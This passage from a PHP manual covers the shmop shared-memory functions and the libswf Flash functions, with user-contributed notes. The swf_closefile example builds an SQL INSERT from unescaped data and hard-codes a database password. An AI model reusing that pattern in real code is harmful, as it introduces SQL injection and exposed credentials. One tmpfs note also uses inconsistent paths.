<?php
shmop_close($shm_id);
?>

This example will close shared memory block identified by $shm_id.

add a note add a note User Contributed Notes
slavapl at mailandnews dot com
03-May-2001 03:31
shmop_close doesn't delete the memory segment, it just detaches from it.

If you have created the block and need to delete it you must call shmop_delete **BEFORE** calling shmop_close (for reasons outlined in shmop_delete help page notes).
add a note add a note

后退 | 起点 | 前进
Shared Memory Functions | 上一级 | shmop_delete


shmop_delete

(PHP 4 >= 4.0.4, PHP 5)

shmop_delete -- Delete shared memory block

Description

bool shmop_delete ( int shmid )

shmop_delete() is used to delete a shared memory block.

shmop_delete() takes the shmid, which is the shared memory block identifier created by shmop_open(). On success 1 is returned, on failure 0 is returned.

例子 1. Deleting shared memory block

<?php
shmop_delete($shm_id);
?>

This example will delete shared memory block identified by $shm_id.

add a note add a note User Contributed Notes
lizzy
13-Oct-2004 10:19
A helpful hint, although when using shmop on windows (yes you can use shmop on windows in IIS or Apache when used as isapi/module) you can delete a segment and later open a new segment with the SAME KEY in the same script no problem, YOU CANNOT IN LINUX/UNIX - the segment will still exist - it's not immediately deleted - but will be marked for deletion and you'll get errors when trying to create the new one - just a reminder.
slavapl at mailandnews dot com
03-May-2001 03:27
There is an important factor to keep in mind here, the shmop_delete function doesn't actually "delete" the memory segment per say, it MARKS the segment for deletion. An shm segment can not be deleted while there are processes attached to it, so a call to shm_delete will two things, first no other processes will be allowed to attach to the segment after this call, and also, it will mark the segment for deletion, which means that when all current processes mapping the segment detach (shmop_close) the system will automatically delete the segment.

So, again, the proper way to close and delete an shm segement is:

$shmid = shmop_open(...);
(do something with the block here: read, write, whatever)
shmop_delete($shmid);
shmop_close($shmid);

you must call the shmop_delete before you call shmop_close for reasons outlined above.

Also to mark a segment for deletion you must be root or the owner.

A few notes from the linux manpage on shmctl:

IPC_RMID (the flag used in shmop_delete):
is used to mark the segment as destroyed. It will actually be destroyed after  the  last  detach. (I.e., when  the  shm_nattch  member of the associated structure shmid_ds is zero.)  The user must be the owner, creator, or the super-user.

***
The user must ensure that a segment is eventually destroyed; otherwise its pages that were faulted in will  remain in memory or swap.
***
add a note add a note

后退 | 起点 | 前进
shmop_close | 上一级 | shmop_open


shmop_open

(PHP 4 >= 4.0.4, PHP 5)

shmop_open -- Create or open shared memory block

Description

int shmop_open ( int key, string flags, int mode, int size )

shmop_open() can create or open a shared memory block.

shmop_open() takes 4 parameters: key, which is the system's id for the shared memory block, this parameter can be passed as a decimal or hex. The second parameter are the flags that you can use:

  • "a" for access (sets SHM_RDONLY for shmat) use this flag when you need to open an existing shared memory segment for read only

  • "c" for create (sets IPC_CREATE) use this flag when you need to create a new shared memory segment or if a segment with the same key exists, try to open it for read and write

  • "w" for read & write access use this flag when you need to read and write to a shared memory segment, use this flag in most cases.

  • "n" create a new memory segment (sets IPC_CREATE|IPC_EXCL) use this flag when you want to create a new shared memory segment but if one already exists with the same flag, fail. This is useful for security purposes, using this you can prevent race condition exploits.

The third parameter is the mode, which are the permissions that you wish to assign to your memory segment, those are the same as permission for a file. Permissions need to be passed in octal form ex. 0644. The last parameter is size of the shared memory block you wish to create in bytes.

注: Note: the 3rd and 4th should be entered as 0 if you are opening an existing memory segment. On success shmop_open() will return an id that you can use to access the shared memory segment you've created.

例子 1. Create a new shared memory block

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
?>

This example opened a shared memory block with a system id returned by ftok().

add a note add a note User Contributed Notes
Craig Manley
06-Jan-2005 09:19
To: macmaster at pobox dot com:

To clear up some new confusion: you said the shm key is 8 bytes long. As far as I know it's 4 bytes (32bits).
Check out the output of ipcs on Linux below to see what I mean.

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch    status
0x6e6a694d 65538      mijnbel  644        65536      0
0x326e794d 98307      mijnbel  644        65536      0
0x62417347 131076    smsklap  644        65536      0
me at here dot com
08-Dec-2004 09:04
Just an alternative idea if 'shared memory' is what you need for your websites, you can use tmpfs (on Linux):

Get root to do this:
mkdir /home/myname/tmpfs
chown myname:mygroup /home/myname/tmpfs
..and this in a script executed at boot time:
mount -t tmpfs /mnt/tmpfs /home/myuser/tmpfs

Now you can use regular file functions (including locking) to access shared memory between all your processes.

More info: http://docsun.cites.uiuc.edu/sun_docs/C/
...and this because the note editor doesn't accept long lines...
solaris_9/SUNWaadm/SYSADV1/p150.html
daniele_dll at yahoo dot it
02-Feb-2004 05:28
There is a little ftok function. This function isn't included into php for windows so i've grabbed it directly from linux glibc 2.3.2 source code. I hope that this can be useful.
There is the code:

<?php
function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}

echo ftok($_SERVER["SCRIPT_FILENAME"], 250);
?>

sorry for my english :)
Chris Petersen
29-Aug-2003 02:18
Be warned that if you try to shmop_open with a key set to zero, shmop_open will seemingly work, and you can write to it, but you will not be able to read from it or delete it.  If you're not careful, you can continue doing this - creating more and more shared memory blocks at "zero" until eventually you WILL start getting errors saying that php can't access or create the shared memory block, and you will have to restart your machine to free up all of those "zero" blocks.
hackie at prohost dot org
20-Jan-2002 09:04
All of the problems have been addressed in the CVS, in addition the a mode now indeed DOES attach to the segment in readonly mode (i.e. SHM_RDONLY), so using shm_write on it would fail with a warning. It has 2 new flags w (read/write) and n (new segment IPC_CREAT|IPC_EXCL).
And a number of segfaults fixed :)
Mitchell_Shnier at ieee dot orgZ
08-Nov-2001 09:51
To check whether a particular shared memory segment is already created, you need to concatenate the "a" and "c" flags. For example (where $SystemKey is the Unix key used by the other process(es) with which you want to share this memory segment)...<BR>
$shm_id = shmop_open($SystemKey, "ac", 0, 0);
if ($shm_id) {
   #it is already created
} else {
   #you need to create it with shmop_open using "c" only
}<BR>
Using only "a" does not work (just as using only IPC_EXCL in the Unix shmget() call is meaningless). Also, use the ipcs shell command to see your shared memory segments.
macmaster at pobox dot com
31-Mar-2001 04:15
the key is a LONG variable type, meaning that the key can only be eight (8) bytes long, which can be too short if you're using any form of automagic key generation (like a parsed filename)
add a note add a note

后退 | 起点 | 前进
shmop_delete | 上一级 | shmop_read


shmop_read

(PHP 4 >= 4.0.4, PHP 5)

shmop_read -- Read data from shared memory block

Description

string shmop_read ( int shmid, int start, int count )

shmop_read() will read a string from shared memory block.

shmop_read() takes 3 parameters: shmid, which is the shared memory block identifier created by shmop_open(), offset from which to start reading and count on the number of bytes to read.

例子 1. Reading shared memory block

<?php
$shm_data = shmop_read($shm_id, 0, 50);
?>

This example will read 50 bytes from shared memory block and place the data inside $shm_data.

add a note add a note User Contributed Notes
Craig Manley
08-Jan-2005 06:19
shmop_read() reads and returns the whole memory segment's data. This is not useful if you're just working with strings. If you need to read a string from shared memory, call str_from_mem() on the result of shmop_read(). Similarly when writing strings to memory (instead of binary data), null terminate your strings with str_to_nts() before passing the value on to shmop_write().

function str_to_nts($value) {
  return "$value\0";
}

function str_from_mem(&$value) {
  $i = strpos($value, "\0");
  if ($i === false) {
   return $value;
  }
  $result =  substr($value, 0, $i);
  return $result;
}
slavapl at mailandnews dot com
03-May-2001 03:15
Also you can use the shmop_size() function to determine the block size.
macmaster at pobox dot com
31-Mar-2001 04:01
When i need to read the whole string at that shm pointer, setting the count parameter to zero (0) seems work for me.
add a note add a note

后退 | 起点 | 前进
shmop_open | 上一级 | shmop_size


shmop_size

(PHP 4 >= 4.0.4, PHP 5)

shmop_size -- Get size of shared memory block

Description

int shmop_size ( int shmid )

shmop_size() is used to get the size, in bytes of the shared memory block.

shmop_size() takes the shmid, which is the shared memory block identifier created by shmop_open(), the function will return and int, which represents the number of bytes the shared memory block occupies.

例子 1. Getting the size of the shared memory block

<?php
$shm_size = shmop_size($shm_id);
?>

This example will put the size of shared memory block identified by $shm_id into $shm_size.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
shmop_read | 上一级 | shmop_write


shmop_write

(PHP 4 >= 4.0.4, PHP 5)

shmop_write -- Write data into shared memory block

Description

int shmop_write ( int shmid, string data, int offset )

shmop_write() will write a string into shared memory block.

shmop_write() takes 3 parameters: shmid, which is the shared memory block identifier created by shmop_open(), data, a string that you want to write into shared memory block and offset, which specifies where to start writing data inside the shared memory segment.

例子 1. Writing to shared memory block

<?php
$shm_bytes_written = shmop_write($shm_id, $my_string, 0);
?>

This example will write data inside $my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
shmop_size | 上一级 | Shockwave Flash Functions


Shockwave Flash Functions

PHP 手册
后退 前进

CXXXIII. Shockwave Flash Functions

简介

PHP offers the ability to create Shockwave Flash files via Paul Haeberli's libswf module.

注: SWF support was added in PHP 4 RC2.

The libswf does not have support for Windows. The development of that library has been stopped, and the source is not available to port it to another systems.

For up to date SWF support take a look at the MING functions.

需求

You need the libswf library to compile PHP with support for this extension. You can download libswf at ftp://ftp.sgi.com/sgi/graphics/grafica/flash/.

安装

Once you have libswf all you need to do is to configure --with-swf[=DIR] where DIR is a location containing the directories include and lib. The include directory has to contain the swf.h file and the lib directory has to contain the libswf.a file. If you unpack the libswf distribution the two files will be in one directory. Consequently you will have to copy the files to the proper location manually.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

MOD_COLOR (integer)

MOD_MATRIX (integer)

TYPE_PUSHBUTTON (integer)

TYPE_MENUBUTTON (integer)

BSHitTest (float)

BSDown (float)

BSOver (float)

BSUp (float)

OverDowntoIdle (integer)

IdletoOverDown (integer)

OutDowntoIdle (integer)

OutDowntoOverDown (integer)

OverDowntoOutDown (integer)

OverUptoOverDown (integer)

OverUptoIdle (integer)

IdletoOverUp (integer)

ButtonEnter (integer)

ButtonExit (integer)

MenuEnter (integer)

MenuExit (integer)

范例

Once you've successfully installed PHP with Shockwave Flash support you can then go about creating Shockwave files from PHP. You would be surprised at what you can do, take the following code:

例子 1. SWF example

<?php
swf_openfile("test.swf", 256, 256, 30, 1, 1, 1);
swf_ortho2(-100, 100, -100, 100);
swf_defineline(1, -70, 0, 70, 0, .2);
swf_definerect(4, 60, -10, 70, 0, 0);
swf_definerect(5, -60, 0, -70, 10, 0);
swf_addcolor(0, 0, 0, 0);

swf_definefont(10, "Mod");
swf_fontsize(5);
swf_fontslant(10);
swf_definetext(11, "This be Flash wit PHP!", 1);

swf_pushmatrix();
swf_translate(-50, 80, 0);
swf_placeobject(11, 60);
swf_popmatrix();

for ($i = 0; $i < 30; $i++) {
    $p = $i/(30-1);
    swf_pushmatrix();
    swf_scale(1-($p*.9), 1, 1);
    swf_rotate(60*$p, 'z');
    swf_translate(20+20*$p, $p/1.5, 0);
    swf_rotate(270*$p,  'z');
    swf_addcolor($p, 0, $p/1.2, -$p);
    swf_placeobject(1, 50);
    swf_placeobject(4, 50);
    swf_placeobject(5, 50);
    swf_popmatrix();
    swf_showframe();
}

for ($i = 0; $i < 30; $i++) {
    swf_removeobject(50);
    if (($i%4) == 0) {
        swf_showframe();
    }
}

swf_startdoaction();
swf_actionstop();
swf_enddoaction();

swf_closefile();
?>

目录
swf_actiongeturl -- Get a URL from a Shockwave Flash movie
swf_actiongotoframe -- Play a frame and then stop
swf_actiongotolabel -- Display a frame with the specified label
swf_actionnextframe -- Go forward one frame
swf_actionplay -- Start playing the flash movie from the current frame
swf_actionprevframe -- Go backwards one frame
swf_actionsettarget -- Set the context for actions
swf_actionstop -- Stop playing the flash movie at the current frame
swf_actiontogglequality -- Toggle between low and high quality
swf_actionwaitforframe -- Skip actions if a frame has not been loaded
swf_addbuttonrecord -- Controls location, appearance and active area of the current button
swf_addcolor -- Set the global add color to the rgba value specified
swf_closefile -- Close the current Shockwave Flash file
swf_definebitmap -- Define a bitmap
swf_definefont -- Defines a font
swf_defineline -- Define a line
swf_definepoly -- Define a polygon
swf_definerect -- Define a rectangle
swf_definetext -- Define a text string
swf_endbutton -- End the definition of the current button
swf_enddoaction -- End the current action
swf_endshape -- Completes the definition of the current shape
swf_endsymbol -- End the definition of a symbol
swf_fontsize -- Change the font size
swf_fontslant -- Set the font slant
swf_fonttracking -- Set the current font tracking
swf_getbitmapinfo -- Get information about a bitmap
swf_getfontinfo -- The height in pixels of a capital A and a lowercase x
swf_getframe -- Get the frame number of the current frame
swf_labelframe -- Label the current frame
swf_lookat -- Define a viewing transformation
swf_modifyobject -- Modify an object
swf_mulcolor -- Sets the global multiply color to the rgba value specified
swf_nextid -- Returns the next free object id
swf_oncondition -- Describe a transition used to trigger an action list
swf_openfile -- Open a new Shockwave Flash file
swf_ortho2 -- Defines 2D orthographic mapping of user coordinates onto the current viewport
swf_ortho -- Defines an orthographic mapping of user coordinates onto the current viewport
swf_perspective -- Define a perspective projection transformation
swf_placeobject -- Place an object onto the screen
swf_polarview -- Define the viewer's position with polar coordinates
swf_popmatrix -- Restore a previous transformation matrix
swf_posround -- Enables or Disables the rounding of the translation when objects are placed or moved
swf_pushmatrix -- Push the current transformation matrix back unto the stack
swf_removeobject -- Remove an object
swf_rotate -- Rotate the current transformation
swf_scale -- Scale the current transformation
swf_setfont -- Change the current font
swf_setframe -- Switch to a specified frame
swf_shapearc -- Draw a circular arc
swf_shapecurveto3 -- Draw a cubic bezier curve
swf_shapecurveto -- Draw a quadratic bezier curve between two points
swf_shapefillbitmapclip -- Set current fill mode to clipped bitmap
swf_shapefillbitmaptile -- Set current fill mode to tiled bitmap
swf_shapefilloff -- Turns off filling
swf_shapefillsolid -- Set the current fill style to the specified color
swf_shapelinesolid -- Set the current line style
swf_shapelineto -- Draw a line
swf_shapemoveto -- Move the current position
swf_showframe -- Display the current frame
swf_startbutton -- Start the definition of a button
swf_startdoaction -- Start a description of an action list for the current frame
swf_startshape -- Start a complex shape
swf_startsymbol -- Define a symbol
swf_textwidth -- Get the width of a string
swf_translate -- Translate the current transformations
swf_viewport -- Select an area for future drawing

add a note add a note User Contributed Notes
vivid at bwteam dot org
15-Nov-2004 09:52
I am using ActiveSWF toolkit to produce dynamic Flash movies from XML. I like it, because only I need to produce new dynamic movie is new XML. PHP code is the same. Additionally, it has quite good documentation. See http://www.activeswf.com
Mark Dijkman The Netherlands
14-Jan-2004 07:16
Let's not forget to mention there IS another alternative to Swf-lib and Ming. It's called FreeMovie and is created by Jacek Artymiak from O'Reilly. This piece of art is made out of PHP-files only wich makes it suitable for many platforms. The project is also available via SourceForge as freemovie-php.

Thumbs up for that one!
manuel DOT leiner AT gmx DOT de
29-Jul-2002 07:20
Just to mention for users of SuSE 8.0. libswf is included with the distro with no fonts. Therefore you must "patch" libswf support. As I didn't find the solution here before and I found a solution I am posting this fix:
Download the libswf package and uncompress to a directory (e.g. /usr/share/php/swf). Then include
"
SWFFONTPATH=/path/to/fonts
export SWFFONTPATH
"
Then log out and in again and restart apache. Then you should be able to use flash text functions within PHP.
daemorhedron
07-Mar-2002 02:50
For those having problems with libswf fonts you can add a system wide variable to point to the fonts dir in your shell.

In linux open up /etc/profile and add the lines :

SWFFONTPATH=/path/to/fonts
export SWFFONTPATH

Please not all of that is case sensitive, so copy it carefully. Logout and log back in to see changes (should affect all users). Test it from the command line with echo $SWFFONTPATH

For windows users you should be able to add

SET SWFFONTPATH=/path/to/fonts

in your autoexec.bat or autoexec.nt. Test it with echo %SWFFONTPATH%

HTH! =)
seek at byte-net dot ro
26-Jan-2001 09:06
Hot to make it right.
I have a /kit/php4 folder
I made a flash folder into that folder. Looks like
/kit/php4/flash
Here made 2 folders called lib and include
/kit/php4/flash/include
/kit/php4/flash/lib
Copy libswf.a in lib folder and swf.h in include folder
go to /kit/php4 folder and ./configure --with-swf=flash [--add your other configure params]
make
make install
works great
Note. In fact I have all unziped swf kit in /kit/php4/flash folder and I added the new 2 folder [lib and include]. Then copy specified files into them.
isu at tozsdeforum dot hu
17-Jan-2001 12:11
This works also! Write into the script:
putenv ("SWFFONTPATH=/path_to_swf/fonts");
Maybe you can do the job with apache somehow, but it did't work for me. (With getenv it looked ok, but the swf failed to find the font)
isu
mike at nux dot co dot uk
20-Dec-2000 11:22
I am using a Generator alternative Turbine - http://www.blue-pac.com - much cheaper than generator with a new version comming soon with builtin php support.
tbma at usa dot net
28-Oct-2000 10:32
Quick patch for php 4.0.2 to enable sound.

http://tbma.cjb.net/swf-sound/php-4.0.2-swf-sound.diff
ghisha at inwind dot it
05-Sep-2000 11:02
Writing on directory is not required. You can generate a run-time movie .. by replacing swf_openfile("<filename>", .... ) with swf_openfile("php://stdout", ....) and add before that an
Header("Content-type: application/x-shockwave-flash")
adobernig at netway dot at
12-Jul-2000 12:09
There are 2 prerequisites that must be met to run the test program:

1.) The directory where the test program resides in must be writeable to the PHP user (depending on installation either the apache user (module version of PHP4) or the script owner)

2.) The fonts directory from the swflib  distribution must be in the same dir as the test script file  so when the test file is  foo/swftest.php  the fonts dir should be  foo/fonts/ containing Mod.f and Mod.l

Otherwise you will get a segfault when executing the test program.
kawa at gui dot uva dot es
06-Jul-2000 09:23
Fonts must be in the directory named "fonts". Lets see... if your code is in /www/swf.php4, you sould make a directory /www/fonts. If you use the example above, copy the files dist/fonts/Mod.f and dist/fonts/Mod.l of the source distribution to into /www/fonts/ to use the font Mod. I think you can use also SET_SWF_FONTS or similar
add a note add a note

后退 | 起点 | 前进
shmop_write | 上一级 | swf_actiongeturl


swf_actiongeturl

(PHP 4, PECL)

swf_actiongeturl -- Get a URL from a Shockwave Flash movie

Description

void swf_actiongeturl ( string url, string target )

The swf_actiongeturl() function gets the URL specified by the parameter url with the target target.

add a note add a note User Contributed Notes
Level32.com
01-Jun-2005 03:51
There are 16000 levels in Flash.

When I need something at the very top all the time, I put it on level 16000.

Typical case would be a close button, title, or some type of masking object like a border.
chris at simpehq dot com
14-Mar-2001 06:02
Yeah levels are just a way that flashes uses to seperate up movies.  If you are creating it using PHP and not from a designers point of view (IE FLASH) then i think you will always be accessing LEVEL 0
frqnck at championart dot org
03-Nov-2000 03:23
You can have as many level as you want... They will be stack on one to onother... very handy fonction! _level0 is the main movie and by definition hold most of the info (size, call to other movie...)
rob at notquitesonic dot com
05-Oct-2000 04:42
I was trying to figure out what target meant above so I checked out the libswf documentation (in the DOC.html file). It mentions two important targets: "_level0" and "_level1". "_level0" is for replacing the current movie and "_level1" is for overlaying ontop of the current movie.
add a note add a note

后退 | 起点 | 前进
Shockwave Flash Functions | 上一级 | swf_actiongotoframe


swf_actiongotoframe

(PHP 4, PECL)

swf_actiongotoframe -- Play a frame and then stop

Description

void swf_actiongotoframe ( int framenumber )

The swf_actiongotoframe() function will go to the frame specified by framenumber, play it, and then stop.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actiongeturl | 上一级 | swf_actiongotolabel


swf_actiongotolabel

(PHP 4, PECL)

swf_actiongotolabel -- Display a frame with the specified label

Description

void swf_actiongotolabel ( string label )

The swf_actiongotolabel() function displays the frame with the label given by the label parameter and then stops.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actiongotoframe | 上一级 | swf_actionnextframe


swf_actionnextframe

(PHP 4, PECL)

swf_actionnextframe -- Go forward one frame

Description

void swf_actionnextframe ( void )

Go forward one frame.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actiongotolabel | 上一级 | swf_actionplay


swf_actionplay

(PHP 4, PECL)

swf_actionplay -- Start playing the flash movie from the current frame

Description

void swf_actionplay ( void )

Start playing the flash movie from the current frame.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actionnextframe | 上一级 | swf_actionprevframe


swf_actionprevframe

(PHP 4, PECL)

swf_actionprevframe -- Go backwards one frame

Description

void swf_actionprevframe ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actionplay | 上一级 | swf_actionsettarget


swf_actionsettarget

(PHP 4, PECL)

swf_actionsettarget -- Set the context for actions

Description

void swf_actionsettarget ( string target )

The swf_actionsettarget() function sets the context for all actions. You can use this to control other flash movies that are currently playing.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actionprevframe | 上一级 | swf_actionstop


swf_actionstop

(PHP 4, PECL)

swf_actionstop -- Stop playing the flash movie at the current frame

Description

void swf_actionstop ( void )

Stop playing the flash movie at the current frame.

add a note add a note User Contributed Notes
rob at notquitesonic dot com
05-Oct-2000 04:39
this alone won't stop the frame, you need to follow it with a swf_showframe() to show the last frame (or pick a frame from your sequence to hold on)
add a note add a note

后退 | 起点 | 前进
swf_actionsettarget | 上一级 | swf_actiontogglequality


swf_actiontogglequality

(PHP 4, PECL)

swf_actiontogglequality -- Toggle between low and high quality

Description

void swf_actiontogglequality ( void )

Toggle the flash movie between high and low quality.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actionstop | 上一级 | swf_actionwaitforframe


swf_actionwaitforframe

(PHP 4, PECL)

swf_actionwaitforframe -- Skip actions if a frame has not been loaded

Description

void swf_actionwaitforframe ( int framenumber, int skipcount )

The swf_actionwaitforframe() function will check to see if the frame, specified by the framenumber parameter has been loaded, if not it will skip the number of actions specified by the skipcount parameter. This can be useful for "Loading..." type animations.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_actiontogglequality | 上一级 | swf_addbuttonrecord


swf_addbuttonrecord

(PHP 4, PECL)

swf_addbuttonrecord -- Controls location, appearance and active area of the current button

Description

void swf_addbuttonrecord ( int states, int shapeid, int depth )

The swf_addbuttonrecord() function allows you to define the specifics of using a button. The first parameter, states, defines what states the button can have, these can be any or all of the following constants: BSHitTest, BSDown, BSOver or BSUp. The second parameter, the shapeid is the look of the button, this is usually the object id of the shape of the button. The depth parameter is the placement of the button in the current frame.

例子 1. swf_addbuttonrecord() example

<?php
swf_startButton($objid, TYPE_MENUBUTTON);
swf_addButtonRecord(BSDown|BSOver, $buttonImageId, 340);
swf_onCondition(MenuEnter);
swf_actionGetUrl("http://www.example.com", "_level1");
swf_onCondition(MenuExit);
swf_actionGetUrl("", "_level1");
swf_endButton();
?>

add a note add a note User Contributed Notes
mathe at bluemento dot de
15-Sep-2003 11:51
An easy to understand example to make a link-button:

swf_startbutton ($this->gClick, TYPE_PUSHBUTTON);
  swf_addButtonRecord (BSDown|BSOver|BSHitTest|BSUp, $this->gButton, $this->gDepth);
  swf_onCondition (OverUptoOverDown);
  swf_actionGetUrl ($this->gotoUrl, $this->target);
swf_endbutton();

This example is out of a link-object.
gClick is the ObjectId which you need for the swf_placeobject.
gButton is a defined shape which defines the clickarea.
rest is clear i think.
So, I think this is the easiest way making a button.
hotkey at hehe dot com
04-May-2001 01:09
Hi, everyone!
Just to prevent you from killing yourselves (I was close to it): Keep in mind to give a SHAPE-id as an argument. Don't try anything else...
[I wanted to create a text-button... bad luck.]

c ya!

HotKey ^ http://www.SPR.AT
add a note add a note

后退 | 起点 | 前进
swf_actionwaitforframe | 上一级 | swf_addcolor


swf_addcolor

(PHP 4, PECL)

swf_addcolor -- Set the global add color to the rgba value specified

Description

void swf_addcolor ( float r, float g, float b, float a )

The swf_addcolor() function sets the global add color to the rgba color specified. This color is then used (implicitly) by the swf_placeobject(), swf_modifyobject() and the swf_addbuttonrecord() functions. The color of the object will be add by the rgba values when the object is written to the screen.

注: The rgba values can be either positive or negative.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_addbuttonrecord | 上一级 | swf_closefile


swf_closefile

(PHP 4, PECL)

swf_closefile -- Close the current Shockwave Flash file

Description

void swf_closefile ( [int return_file] )

Close a file that was opened by the swf_openfile() function. If the return_file parameter is set then the contents of the SWF file are returned from the function.

例子 1. Creating a simple flash file based on user input and outputting it and saving it in a database

<?php

// The $text variable is submitted by the
// user

// Global variables for database
// access (used in the swf_savedata() function)
$DBHOST = "localhost";
$DBUSER = "sterling";
$DBPASS = "secret";

swf_openfile("php://stdout", 256, 256, 30, 1, 1, 1);

    swf_definefont(10, "Ligon-Bold");
        swf_fontsize(12);
        swf_fontslant(10);

    swf_definetext(11, $text, 1);

    swf_pushmatrix();
        swf_translate(-50, 80, 0);
        swf_placeobject(11, 60);
    swf_popmatrix();

    swf_showframe();

    swf_startdoaction();
        swf_actionstop();
    swf_enddoaction();

$data = swf_closefile(1);

$data ?
  swf_savedata($data) :
  die("Error could not save SWF file");

// void swf_savedata(string data)
// Save the generated file a database
// for later retrieval
function swf_savedata($data)
{
    global $DBHOST,
           $DBUSER,
           $DBPASS;

    $dbh = @mysql_connect($DBHOST, $DBUSER, $DBPASS);

    if (!$dbh) {
        die (sprintf("Error [%d]: %s",
                      mysql_errno(), mysql_error()));
    }

    $stmt = "INSERT INTO swf_files (file) VALUES ('$data')";

    $sth = @mysql_query($stmt, $dbh);

    if (!$sth) {
        die (sprintf("Error [%d]: %s",
                      mysql_errno(), mysql_error()));
    }

    @mysql_free_result($sth);
    @mysql_close($dbh);
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_addcolor | 上一级 | swf_definebitmap


swf_definebitmap

(PHP 4, PECL)

swf_definebitmap -- Define a bitmap

Description

void swf_definebitmap ( int objid, string image_name )

The swf_definebitmap() function defines a bitmap given a GIF, JPEG, RGB or FI image. The image will be converted into a Flash JPEG or Flash color map format.

add a note add a note User Contributed Notes
hotkey at hehe dot com
15-Sep-2001 08:26
Since hundreds of people asked me the same:
LIB_SWF has problems displaying images on Windows-Servers.
I__C-A-N___N-O-T__help you! It just DOES NOT SEEM TO WORK ON WINDOWS!!. Get yourself a Linux-Server or try Ming (www.opaque.net) instead.
hotkey at hehe dot com
03-May-2001 01:32
Hi!
I'm currently developing a HTML2SWF php, and I had serious problems displaying images...

swf_definebitmap() does not seem to work for "just displaying" a picture, e.g.
--------
swf_definebitmap(1,"myfile.gif");
swf_placeobject(1,10);
--------
(The image won't show up as expected)

...BUT...

everything worX fine when filling a shape with a picture, e.g.:

---------
swf_definebitmap(1,"myfile.gif");
swf_startshape(2);
 swf_shapelinesolid(0.1,0.1,0.1,1,0.2);
 swf_shapefillbitmapclip(1);
 swf_shapearc(50,50,100,0,360);
swf_endshape(2);
swf_placeobject(2,10);
---------

Hope, I could help some guys out there!

regards
HotKey

P.S. php rulez!
tbma at usa dot net
10-Nov-2000 04:44
"SWFBIN" environment variable will be used to find the program imgtofi. not "SWFBINPATH" as documentation says.
juergen at info-age dot net
01-Jul-2000 10:59
to use this function, you need "bin/imgtofi" or/and "bin/pstoff" from the libswf distribution
add a note add a note

后退 | 起点 | 前进
swf_closefile | 上一级 | swf_definefont


swf_definefont

(PHP 4, PECL)

swf_definefont -- Defines a font

Description

void swf_definefont ( int fontid, string fontname )

The swf_definefont() function defines a font given by the fontname parameter and gives it the id specified by the fontid parameter. It then sets the font given by fontname to the current font.

add a note add a note User Contributed Notes
Joachim Kruyswijk
28-Jan-2006 09:50
<?php

   # Show seven fonts in random sizes and colors.
   # Reload to see the changes
   header("Content-type: application/x-shockwave-flash");

   # Higher values for $frames make it quicker!
   $frames = 1;

   swf_openfile("php://stdout", 256, 256, $frames, .9, .9, .9);

   #    Viewport. Bigger values give a bigger viewport and tinier content
   define("VIEWPORT", 150);
   swf_ortho2(-VIEWPORT, VIEWPORT, -VIEWPORT, VIEWPORT);

   #    Start with empty frame
   swf_showframe();

   $tmp = 500;
   $fontnum = -1;

   $fonts = explode(",", "Curl-Roman,Haeberli,Inja,Ligon-Bold,Ligon-Roman,Mod,Pix3");
   swf_translate(-100, 100, 0);
   for( $i = 0; $i< sizeof( $fonts ); $i++ ){
       swf_addcolor(rnd01(), rnd01(), rnd01(), 0);
       swf_definefont(++$fontnum, $fonts[$i]);
       swf_fontsize( rand(6,45) );
       # Show font name. Remove "-" from font name as Curl-Roman does not support that character!
       swf_definetext(++$tmp, str_replace("-", "", $fonts[$i] ), 0);
       swf_translate(0, -20, 0);
       swf_placeobject($tmp, 60);
       swf_showframe();
   }

   swf_closefile();

   #    Return random color value i.e. value between 0 and 1
   function rnd01(){ return (mt_rand(0,0xFF) / 0xFF); }
?>
greg at newtechy dot com
17-Aug-2001 10:35
These are the standard fonts that I have found so far that come with this engine.

"Curl-Roman"
"Haeberli"
"Inja"
"Ligon-Bold"
"Ligon-Roman"
"Mod"
"Pix3"

Most of them are not too great but they are the only ones that come by default.  There are ways to convert other fonts so that you can use them.  I haven't converted any yet so I don't know for sure how well it works.
hotkey at hehe dot com
16-May-2001 02:42
For detailed instructions on how to convert fonts into Flash-Fonts check
http://developer.bestbytes.de

regards, HotKey
add a note add a note

后退 | 起点 | 前进
swf_definebitmap | 上一级 | swf_defineline


swf_defineline

(PHP 4, PECL)

swf_defineline -- Define a line

Description

void swf_defineline ( int objid, float x1, float y1, float x2, float y2, float width )

The swf_defineline() defines a line starting from the x coordinate given by x1 and the y coordinate given by y1 parameter. Up to the x coordinate given by the x2 parameter and the y coordinate given by the y2 parameter. It will have a width defined by the width parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_definefont | 上一级 | swf_definepoly


swf_definepoly

(PHP 4, PECL)

swf_definepoly -- Define a polygon

Description

void swf_definepoly ( int objid, array coords, int npoints, float width )

